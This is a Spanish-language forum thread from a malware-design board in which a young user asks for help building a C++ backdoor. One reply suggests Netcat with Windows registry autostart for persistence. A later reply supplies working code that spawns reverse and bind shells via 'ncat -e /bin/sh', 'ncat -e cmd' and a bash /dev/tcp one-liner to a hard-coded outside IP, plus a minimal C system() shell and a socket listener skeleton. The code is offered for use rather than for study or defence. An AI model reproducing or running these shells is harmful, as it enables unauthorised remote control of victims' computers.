elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Doble factor de autenticación o verificación en dos pasos


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Necesito ayuda para una backdoor
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Necesito ayuda para una backdoor  (Leído 401 veces)
mobyblock

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Necesito ayuda para una backdoor
« en: 1 Junio 2020, 19:48 »

Antes de nada muy buenas a todos:

Realmente necesito ayuda, llevo varios meses intentando crear una backdoor en c++ pero no consigo entender nada (soy joven y empecé hace poco). No se si me podeís ayudar poniendo un pequeño código con comentarios o enlaces a paginas útiles.

Gracias a todos por la ayuda ;-)
En línea

marax

Desconectado Desconectado

Mensajes: 89



Ver Perfil
Re: Necesito ayuda para una backdoor
« Respuesta #1 en: 1 Junio 2020, 20:49 »

https://tools.ietf.org/html/rfc793
https://tools.ietf.org/html/rfc791
http://es.tldp.org/Tutoriales/PROG-SOCKETS/prog-sockets.html

Un backdoor no es algo tan especifico para encontrar un ejemplo concreto, existen diversos. Lo mas popular es utilizarlos con alguna forma de reverse shell (o al menos intentarlo). Puedes encontrar uno que utiliza la libreria estandar de C++ en Youtube:

https://www.youtube.com/watch?v=Rrdp0AUWAbs

Realmente el titulo esta equivocado. Segun la estructura del codigo no lo consideraria un troyano. Sin embargo con ello puedes entender la filosofia de una shell inversa (reverse shell).
Puedes utilizar incluso utilidades como Netcat para cumplir tu objetivo de backdoor, si haces un instalador para el registro de Windows podrias configurar un auto-arranque, por ejemplo.

No hagas de las definiciones un objetivo sino un medio para expresar tus objetivos... el caso no es saber como se hace un backdoor.

Saludos.
En línea

"Durante diez años has venido a mi cueva: estarías harto de tu luz y de este camino sin mí, sin mi águila y sin mi serpiente."
mobyblock

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Re: Necesito ayuda para una backdoor
« Respuesta #2 en: 2 Junio 2020, 13:10 »

https://tools.ietf.org/html/rfc793
https://tools.ietf.org/html/rfc791
http://es.tldp.org/Tutoriales/PROG-SOCKETS/prog-sockets.html

Un backdoor no es algo tan especifico para encontrar un ejemplo concreto, existen diversos. Lo mas popular es utilizarlos con alguna forma de reverse shell (o al menos intentarlo). Puedes encontrar uno que utiliza la libreria estandar de C++ en Youtube:

https://www.youtube.com/watch?v=Rrdp0AUWAbs

Realmente el titulo esta equivocado. Segun la estructura del codigo no lo consideraria un troyano. Sin embargo con ello puedes entender la filosofia de una shell inversa (reverse shell).
Puedes utilizar incluso utilidades como Netcat para cumplir tu objetivo de backdoor, si haces un instalador para el registro de Windows podrias configurar un auto-arranque, por ejemplo.

No hagas de las definiciones un objetivo sino un medio para expresar tus objetivos... el caso no es saber como se hace un backdoor.

Saludos.
Muchas gracias por la respuesta creo que me sera útil ;D
En línea

@XSStringManolo
Colaborador
***
Desconectado Desconectado

Mensajes: 2.033


Turn off the red ligth


Ver Perfil WWW
Re: Necesito ayuda para una backdoor
« Respuesta #3 en: 2 Junio 2020, 14:34 »

Necesitas 2 programas. Un cliente y un servidor. Puede ser conexión directa, el objetivo tiene los puertos abiertos. O conexión inversa, tu tienes los puertos abiertos. También se puede sin abrir puertos pero requiere de settup, proxy y tunelaje.

Puedes usar sockets o alguna librería/software como netcat o includo bash/batch, perl, php, etc. Facilita mucho.

Un ejemplo:
Código
  1. #include <string>
  2.  
  3. using namespace std;
  4.  
  5. #define PUERTO static_cast<string>("9090")
  6. #define IP static_cast<string>("127.0.0.1")
  7. #define REVERSE_IP static_cast<string>("93.184.216.34")
  8.  
  9. void BindShell(string);
  10.  
  11. int main() {
  12.  
  13. string comando = "";
  14.  
  15. #ifdef __linux__ /* LINUX */
  16. /* Bind Local Shell */
  17. BindShell("ncat -l -k " + IP + " " + PUERTO + " -e /bin/sh");
  18.  
  19. /* Bind Remote Shell */
  20. BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e /bin/sh");
  21.  
  22. /* Bind Remote Shell Bash */
  23. BindShell("bash -i >& /dev/tcp/" + REVERSE_IP + "/" + PUERTO + " 0>&1");
  24.  
  25.  
  26.  
  27. #else /* WINDOWS */
  28. /* Bind Local Shell */
  29. BindShell("ncat -l -k " + IP + " " + PUERTO + " -e cmd");
  30.  
  31. /* Bind Remote Shell */
  32. BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e cmd");
  33.  
  34. #endif
  35. return 0;
  36. }
  37.  
  38. void BindShell(string command) {
  39. system(command.c_str());
  40. }

O incluso puedes compilar esto en C con gcc sin libs ni nada:
Código
  1. int main() {
  2. system("ncat 127.0.0.1 9090 -e /bin/sh");
  3. return 0;
  4. }

Para sockets Linux usa <sys/socket.h> para funciones y
<netinet/in.h> para sockaddr_in.

Creas el socket (IPv4, TCP) y obtienes en retorno un file descriptor con:
Código
  1. int sockfd = socket(AF_INET, SOCK_STREAM, 0);
  2.  
  3. if (sockfd == -1) {
  4. std::cout << "Failed to create socket. Errno: " << errno << std::endl;
  5. exit(EXIT_FAILURE);
  6. }

exit y la constante están en <cstdlib> cout y endl en <iostream>

Después creas la dirección con sus propiedades obligadas, dirección IP, PUERTO y demás. Y bindeas el sockaddr al sockfd
Código
  1. sockaddr_in sockaddr;
  2. sockaddr.sin_family = AF_INET;
  3. sockaddr.sin_addr.s_addr = INADDR_ANY;
  4. sockaddr.sin_port = htons(9090);
  5.  
  6. if (bind(sockfd, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) < 0) {
  7. std::cout << "Failed to bind to port 9090. Errno: " << errno << std::endl;
  8. exit(EXIT_FAILURE);
  9. }

Te pones a la escucha en el socket con listen:
Código
  1. if (listen(sockfd, 10) < 0) {
  2. std::cout << "Failed to listen on socket. Errno: " << errno << std::endl;
  3. exit(EXIT_FAILURE);
  4. }

Obtienes una conexión de la cola:
Código
  1. auto addrlen = sizeof(sockaddr);
  2. int connection = accept(sockfd, (struct sockaddr*)&sockaddr, (socklen_t*)&addrlen);
  3.  
  4. if (connection < 0) {
  5. std::cout << "Failed to grab connection. Errno: " << errno << std::endl;
  6. exit(EXIT_FAILURE);
  7. }

Tras obtener la conexion lees los bytes de la misma:
Código
  1. char buffer[8192];
  2. auto bytesRead = read(connection, buffer, 8192);
  3. std::cout << "The message was: " << buffer;

Por último puedes recorrer el buffer buscando algo, send para responder, cerrar el sockfd o la conexión, o lo que veas. Esto ya entra dentro de lo que quieras hacer y de tu propia implementación.

Prácticamente todo código lo hice mirando por la docu oficial de <sys/socket.h>
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Necesito su ayuda,NECESITO CONSEJOS PARA PROGRAMAR,MI VIDA DEPENDE D ESTO
Desarrollo Web
nevermind2403 7 3,386 Último mensaje 25 Septiembre 2013, 03:53
por Graphixx
¿Ayuda Backdoor?
Hacking Básico
martinboca 4 1,986 Último mensaje 23 Febrero 2015, 03:18
por martinboca
Ayuda mi backdoor no me funciona
Análisis y Diseño de Malware
molina25 2 2,760 Último mensaje 14 Julio 2015, 18:10
por OLM
backdoor ayuda
GNU/Linux
Wilkin07 1 1,693 Último mensaje 12 Octubre 2016, 00:25
por XKC
[Ayuda] [Python] backdoor y cambio de directorio
Scripting
yomismo2512 3 520 Último mensaje 28 Marzo 2020, 07:34
por reconFito
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines